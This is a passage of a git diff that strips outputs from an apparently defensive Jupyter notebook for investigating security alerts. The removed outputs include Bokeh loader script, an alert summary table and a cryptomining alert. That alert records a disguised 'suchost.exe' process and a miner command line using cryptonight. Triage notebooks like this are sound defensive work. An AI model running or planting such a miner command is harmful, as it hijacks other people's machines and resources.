{\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", - "\n", - " for (var i = 0; i < js_urls.length; i++) {\n", - " var url = js_urls[i];\n", - " var element = document.createElement('script');\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.async = false;\n", - " element.src = url;\n", - " if (url in hashes) {\n", - " element.crossOrigin = \"anonymous\";\n", - " element.integrity = \"sha384-\" + hashes[url];\n", - " }\n", - " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", - " document.head.appendChild(element);\n", - " }\n", - " };\n", - "\n", - " function inject_raw_css(css) {\n", - " const element = document.createElement(\"style\");\n", - " element.appendChild(document.createTextNode(css));\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", - " var css_urls = [];\n", - " \n", - "\n", - " var inline_js = [\n", - " function(Bokeh) {\n", - " Bokeh.set_log_level(\"info\");\n", - " },\n", - " function(Bokeh) {\n", - " \n", - " \n", - " }\n", - " ];\n", - "\n", - " function run_inline_js() {\n", - " \n", - " if (root.Bokeh !== undefined || force === true) {\n", - " \n", - " for (var i = 0; i < inline_js.length; i++) {\n", - " inline_js[i].call(root, root.Bokeh);\n", - " }\n", - " if (force === true) {\n", - " display_loaded();\n", - " }} else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(run_inline_js, 100);\n", - " } else if (!root._bokeh_failed_load) {\n", - " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", - " root._bokeh_failed_load = true;\n", - " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n", - " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", - " }\n", - "\n", - " }\n", - "\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", - " run_inline_js();\n", - " } else {\n", - " load_libs(css_urls, js_urls, function() {\n", - " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", - " run_inline_js();\n", - " });\n", - " }\n", - "}(window));" - ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1001\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - "\n", - "\n", - "\n", - "\n", - "\n", - "
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0Matches on commands seen in honeypot data2882020-06-24 16:59:01+00:002020-06-25 16:54:25+00:00
1Case 1122020-06-24 17:38:56+00:002020-06-25 15:39:22+00:00
2AndiTest122020-06-24 18:07:11+00:002020-06-25 16:07:37+00:00
3Sucessful SSH Logon22020-06-24 18:41:34+00:002020-06-24 18:56:34+00:00
4PREVIEW - Access from an unusual location to a storage file share12020-06-24 19:38:42+00:002020-06-24 19:38:42+00:00
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" - ], - "text/plain": [ - " AlertName \\\n", - "0 Matches on commands seen in honeypot data \n", - "1 Case 1 \n", - "2 AndiTest \n", - "3 Sucessful SSH Logon \n", - "4 PREVIEW - Access from an unusual location to a storage file share \n", - "\n", - " alertCount firstAlert lastAlert \n", - "0 288 2020-06-24 16:59:01+00:00 2020-06-25 16:54:25+00:00 \n", - "1 12 2020-06-24 17:38:56+00:00 2020-06-25 15:39:22+00:00 \n", - "2 12 2020-06-24 18:07:11+00:00 2020-06-25 16:07:37+00:00 \n", - "3 2 2020-06-24 18:41:34+00:00 2020-06-24 18:56:34+00:00 \n", - "4 1 2020-06-24 19:38:42+00:00 2020-06-24 19:38:42+00:00 " - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "alert_list = qry_prov.SecurityAlert.list_alerts(\n", " alert_q_times)\n", @@ -1075,250 +239,14 @@ }, { "cell_type": "code", - "execution_count": 6, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:19.661858Z", "start_time": "2020-05-16T02:14:19.614856Z" } }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "dab45f7805e24413bfd275049c6211d8", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(Text(value='', description='Filter alerts by title:', style=DescriptionStyle(description_width=…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "
" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - "

Series Alert: 'Digital currency mining related behavior detected'

\n", - " Alert_time: 2019-02-13 22:03:42+00:00, \n", - " Compr_entity: MSTICALERTSWIN1, \n", - " Alert_id: 2518522053771835343_cf383339-b4ff-4996-9d4e-83a4ece6688f\n", - "
\n", - " " - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "
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3
TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-13 22:04:15+00:00
AlertDisplayNameDigital currency mining related behavior detected
AlertNameDigital currency mining related behavior detected
SeverityHigh
DescriptionAnalysis of host data on MSTICALERTSWIN1 detected the execution of a process or command normally...
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalIdcf383339-b4ff-4996-9d4e-83a4ece6688f
SystemAlertId2518522053771835343_cf383339-b4ff-4996-9d4e-83a4ece6688f
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/provide...
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeSCUBA_RULE_DigitalCurrencyMiningTool
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentFalse
StartTimeUtc2019-02-13 22:03:42+00:00
EndTimeUtc2019-02-13 22:03:42+00:00
ProcessingEndTime2019-02-13 22:04:16+00:00
RemediationSteps[\\r\\n \"1. Run Process Explorer and try to identify unknown running processes (see https://techn...
ExtendedProperties{'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Sess...
Entities[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MS...
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
CompromisedEntityMSTICALERTSWIN1
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" - ], - "text/plain": [ - " 3\n", - "TenantId 52b1ab41-869e-4138-9e40-2a4457f09bf0\n", - "TimeGenerated 2019-02-13 22:04:15+00:00\n", - "AlertDisplayName Digital currency mining related behavior detected\n", - "AlertName Digital currency mining related behavior detected\n", - "Severity High\n", - "Description Analysis of host data on MSTICALERTSWIN1 detected the execution of a process or command normally...\n", - "ProviderName Detection\n", - "VendorName Microsoft\n", - "VendorOriginalId cf383339-b4ff-4996-9d4e-83a4ece6688f\n", - "SystemAlertId 2518522053771835343_cf383339-b4ff-4996-9d4e-83a4ece6688f\n", - "ResourceId /subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/provide...\n", - "SourceComputerId 263a788b-6526-4cdc-8ed9-d79402fe4aa0\n", - "AlertType SCUBA_RULE_DigitalCurrencyMiningTool\n", - "ConfidenceLevel Unknown\n", - "ConfidenceScore NaN\n", - "IsIncident False\n", - "StartTimeUtc 2019-02-13 22:03:42+00:00\n", - "EndTimeUtc 2019-02-13 22:03:42+00:00\n", - "ProcessingEndTime 2019-02-13 22:04:16+00:00\n", - "RemediationSteps [\\r\\n \"1. Run Process Explorer and try to identify unknown running processes (see https://techn...\n", - "ExtendedProperties {'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Sess...\n", - "Entities [{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MS...\n", - "SourceSystem Detection\n", - "WorkspaceSubscriptionId 40dcc8bf-0478-4f3b-b275-ed0a94f2c013\n", - "WorkspaceResourceGroup asihuntomsworkspacerg\n", - "ExtendedLinks \n", - "ProductName \n", - "ProductComponentName \n", - "AlertLink \n", - "Type SecurityAlert\n", - "CompromisedEntity MSTICALERTSWIN1" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "get_alert = None\n", "alert_select = nbwidgets.SelectAlert(alerts=alert_list, action=nbdisplay.format_alert)\n", @@ -1340,218 +268,14 @@ }, { "cell_type": "code", - "execution_count": 7, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:38.285057Z", "start_time": "2020-05-16T02:14:38.264058Z" } }, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "

Alert: 'Digital currency mining related behavior detected'

\n", - " Alert_time: 2019-02-13 22:03:42+00:00,\n", - " Compr_entity: MSTICALERTSWIN1,\n", - " Alert_id: 2518522053771835343_cf383339-b4ff-4996-9d4e-83a4ece6688f\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
3
TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-13 22:04:15+00:00
AlertDisplayNameDigital currency mining related behavior detected
AlertNameDigital currency mining related behavior detected
SeverityHigh
DescriptionAnalysis of host data on MSTICALERTSWIN1 detected the execution of a process or command normally associated with digital currency mining.
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalIdcf383339-b4ff-4996-9d4e-83a4ece6688f
SystemAlertId2518522053771835343_cf383339-b4ff-4996-9d4e-83a4ece6688f
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeSCUBA_RULE_DigitalCurrencyMiningTool
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentFalse
StartTimeUtc2019-02-13 22:03:42+00:00
EndTimeUtc2019-02-13 22:03:42+00:00
ProcessingEndTime2019-02-13 22:04:16+00:00
RemediationSteps[\\r\\n \"1. Run Process Explorer and try to identify unknown running processes (see https://technet.microsoft.com/en-us/sysinternals/bb896653.aspx)\",\\r\\n \"2. Escalate the alert to the information security team\",\\r\\n \"3. Make sure the machine is completely updated and has an updated anti-malware application installed\",\\r\\n \"4. Run a full anti-malware scan and verify that the threat was removed\",\\r\\n \"5. Install and run Microsoft’s Malicious Software Removal Tool (see https://www.microsoft.com/en-us/download/malicious-software-removal-tool-details.aspx)\",\\r\\n \"6. Run Microsoft’s Autoruns utility and try to identify unknown applications that are configured to run at login (see https://technet.microsoft.com/en-us/sysinternals/bb963902.aspx)\"\\r\\n]
ExtendedProperties{'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Session Id': '0x1e821b5', 'Suspicious Process': 'c:\\w!ndows\\system32\\suchost.exe', 'Suspicious Command Line': '.\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4', 'Parent Process': 'c:\\windows\\system32\\cmd.exe', 'Suspicious Process Id': '0x70d8', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}
Entities[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'OSVersion': 'Windows', 'IsDomainJoined': False, 'Type': 'host'}, {'$id': '5', 'Directory': 'c:\\windows\\system32', 'Name': 'cmd.exe', 'Type': 'file'}, {'$id': '6', 'ProcessId': '0x7b20', 'CommandLine': '', 'ImageFile': {'$ref': '5'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '7', 'Name': 'MSTICAdmin', 'NTDomain': 'MSTICAlertsWin1', 'Host': {'$ref': '4'}, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500', 'IsDomainJoined': False, 'Type': 'account', 'LogonId': '0x1e821b5'}, {'$id': '8', 'Directory': 'c:\\w!ndows\\system32', 'Name': 'suchost.exe', 'Type': 'file'}, {'$id': '9', 'ProcessId': '0x70d8', 'CommandLine': '.\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4', 'ElevationToken': 'Default', 'CreationTimeUtc': '2019-02-13T22:03:42.8164656Z', 'ImageFile': {'$ref': '8'}, 'Account': {'$ref': '7'}, 'ParentProcess': {'$ref': '6'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '10', 'SessionId': '0x1e821b5', 'StartTimeUtc': '2019-02-13T22:03:42.8164656Z', 'EndTimeUtc': '2019-02-13T22:03:42.8164656Z', 'Type': 'host-logon-session', 'Host': {'$ref': '4'}, 'Account': {'$ref': '7'}}]
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
CompromisedEntityMSTICALERTSWIN1

ExtendedProperties:

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0
Compromised HostMSTICALERTSWIN1
User NameMSTICALERTSWIN1\\MSTICAdmin
Account Session Id0x1e821b5
Suspicious Processc:\\w!ndows\\system32\\suchost.exe
Suspicious Command Line.\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4
Parent Processc:\\windows\\system32\\cmd.exe
Suspicious Process Id0x70d8
resourceTypeVirtual Machine
ServiceId14fa08c7-c48e-4c18-950c-8148024b4398
ReportingSystemAzure
OccuringDatacentereastus

Entities:


{ 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'}
{ 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\system32',, 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',, 'Name': 'cmd.exe',, 'Type': 'file'}
{ 'AdditionalData': {},, 'CommandLine': '',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\system32',, 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',, 'Name': 'cmd.exe',, 'Type': 'file'},, 'ProcessId': '0x7b20',, 'Type': 'process'}
{ 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x1e821b5',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'}
{ 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\suchost.exe',, 'Name': 'suchost.exe',, 'Type': 'file'}
{ 'Account': { 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x1e821b5',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'},, 'AdditionalData': {},, 'CommandLine': '.\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4',, 'CreationTimeUtc': '2019-02-13T22:03:42.8164656Z',, 'ElevationToken': 'Default',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\suchost.exe',, 'Name': 'suchost.exe',, 'Type': 'file'},, 'ParentProcess': { 'AdditionalData': {},, 'CommandLine': '',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\system32',, 'FullPath': 'c:\\\\windows\\\\system32\\\\cmd.exe',, 'Name': 'cmd.exe',, 'Type': 'file'},, 'ProcessId': '0x7b20',, 'Type': 'process'},, 'ProcessId': '0x70d8',, 'Type': 'process'}
{ 'Account': { 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x1e821b5',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'},, 'AdditionalData': {},, 'EndTimeUtc': '2019-02-13T22:03:42.8164656Z',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'SessionId': '0x1e821b5',, 'StartTimeUtc': '2019-02-13T22:03:42.8164656Z',, 'Type': 'host-logon-session'}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "# Extract entities and properties into a SecurityAlert class\n", "if alert_select is None or alert_select.selected_alert is None:\n", @@ -1573,25 +297,14 @@ }, { "cell_type": "code", - "execution_count": 8, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:41.613471Z", "start_time": "2020-05-16T02:14:41.251019Z" } }, - "outputs": [ - { - "data": { - "image/png": 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fviJKTEzW4sU/yM+vqJ55prbee2+gUlLSVL9+E0VGxqp587Z6+ukAbd26Wb/8skbjx0/Q8uWr5ObmpsKFi+rq6avyLVNIz49sq4jjlxVx9LJ+Gv2zanSrpSKVi+rJ+mW1/adQbVqyRaUCSyshIUUunm43TV+q4xOKDIy1bxezOVk2m00zZsyTh4eHJOn69etyc3PV1avXZTabFRUVJ0mKi0uSxfLXa7RY0hQTk6hDh8IUFnZctWvXlSRVrFhNHh45tHfvYZUvX1E7dmzTf//7H/XsGawePYLtyytWrIx27tyliIhopaVJcXHJ9mVfvRolq9Wq+PhkpaXpb+u0Ki4uff+4fj1eNtudt8s/96PExGR17x6soKAuf0yXopiYaPt0+/YdlI9PPm3eHKr69Zv9sU6LxoyZpFKlnpAkxcSkHzaZHX8Xs4vs+lmH7I39DlmNfQ53w2g03HFwicP8HnMBAXW0cOE8paamyGq1asSIwfr000l3nKdSpad0+vRJhYWdkCStW7dWH3307i2nrVu3vjZu/F1ubm565pnq+vLLzxUQEKhnnqmuffv2avfuXapdu85d5w0MrKfly5fIarUqJibafhGFEiVKyWQyae3a1ZKkK1citHbtagUEpF/QolGjJvr004kKCAhUyZKlFBsbq59/XqnGjZtKkrp376yjR4+oTZv2Gjx4hGJjYxQVFSlJatiwsa4ejNKJ9ce0bfZmFSpfWFU7PKNCFQrrevg1SVLRZ4rLJdFFkYciVLJ2KUm65fRx59OLjIuLiyyWVHl5ealSpcqaO/dbSelFoWfPLlq37u4vDpGSkqL33ntb4eFnJUk7dmxTWlqaSpZ8QkeOHNLAga9r1KhP1KNHcIb5jEajKlWqrH379tjPJ0tJSd8PRo8erv/976f73i7/FBBQR99/v1hxcenvw//936f66KP3JElr167W9u3bFBLyg7Zu3azffltjn2fu3G9ls9mUkpKit94aoIUL5911NgAAgAeFMvWY69t3gAoX9tMLL7RX+/YtZbNJb7+d/uV28eKFGj580E3z+Pjk08cfj9eQIe8rKKit5s79VmPHphew4cMHafHihfZpGzZsrHXr0r8UN2rURGfPnlGNGrXk7u6uMmX8VaXK03Jzc7vrvP37vyaTyay2bVvojTdeUenSZSSlnzM0efLnmj//O3Xq1Fr9+/dW376vqnr1WvZ1nz59SrVqBUqSatUKVL58vipYMP2QuYED39X06Z/qhRfaqU+f7urX71X5+RWRJNWt20DXjlxTyYBSsllt+mnoj1o1aqVSE1NUtpG/JMnF5KIS1UvK5G3S+YhzknTL6QvX9ZMkNW3aTMHB3RQWdlxjxkzQ/v171bFjK3XrFqTmzVuqZcu7v3R9kSJFNXToSL3zzhsKCmqrL774XJ9+Ol0eHh5/FGObpk6dqKCg9ItxDBz42k3bp2PHF1SuXAV16dJBHTu2Vr58vurSpdt9bxcp437Uvn0n1a3bQN27v6D27Z/XiRPHNGLEGF2+fEmjRg3T6NHj5O3trZEjx2jkyCGKiLis994bpMTERHXs2FqdOrVW6dJl1LNn8K2DAAAAZCGDzXbbQ/hKSDrNYX5/YTj48fX62v4qmrPYbZ+3JKfq1/G/qFjj4jp47oCCOnWRwWC4abpzseGa1viLu14v+xycgf0OzsB+h6zGPoe78bfD/EpKOnPT81kdCHjUXDx0QcvfW6rCFf1UIaCSTCaTzpw55exYAAAAeMC4UQtwnwpX8FPHKZ3tPz9dtZp2796hkiWfcGIqAAAAPGiMTAGZrESJkkpLs